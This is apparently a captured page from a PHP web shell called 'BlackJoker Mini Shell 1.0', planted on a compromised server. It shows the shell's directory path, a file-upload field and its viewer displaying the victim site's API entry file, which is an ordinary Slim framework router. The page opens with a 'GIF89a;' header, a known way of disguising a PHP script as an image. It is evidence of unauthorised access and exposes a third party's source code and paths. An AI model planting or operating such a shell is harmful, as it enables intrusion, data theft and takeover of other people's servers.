GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/api/
Upload File :
Current File : /home/serb/public_html/api/index.php

<?php

require 'vendor/autoload.php';

error_reporting(E_ALL);
ini_set('display_errors', true);

$config = array_merge(
	include 'config/api.php', 
	include 'config/ad.php'
);

// $config['slim.errors'] = fopen( 'logs/application.log', 'a' );

$app = new \Slim\Slim($config);

// Index Route
$app->get(
	'/', 
	[ 'Mar\Middleware\Authentication', 		 'handle' 	],
	[ 'Mar\Controllers\IndexController',	 'dispatch' ]
);

// Ad Get Route
$app->get(
	'/ad', 
	[ 'Mar\Middleware\Authentication', 		'handle'	],
	[ 'Mar\Controllers\AdController', 		'index'		]
);

$app->run();

./BlackJoker Mini Shell 1.0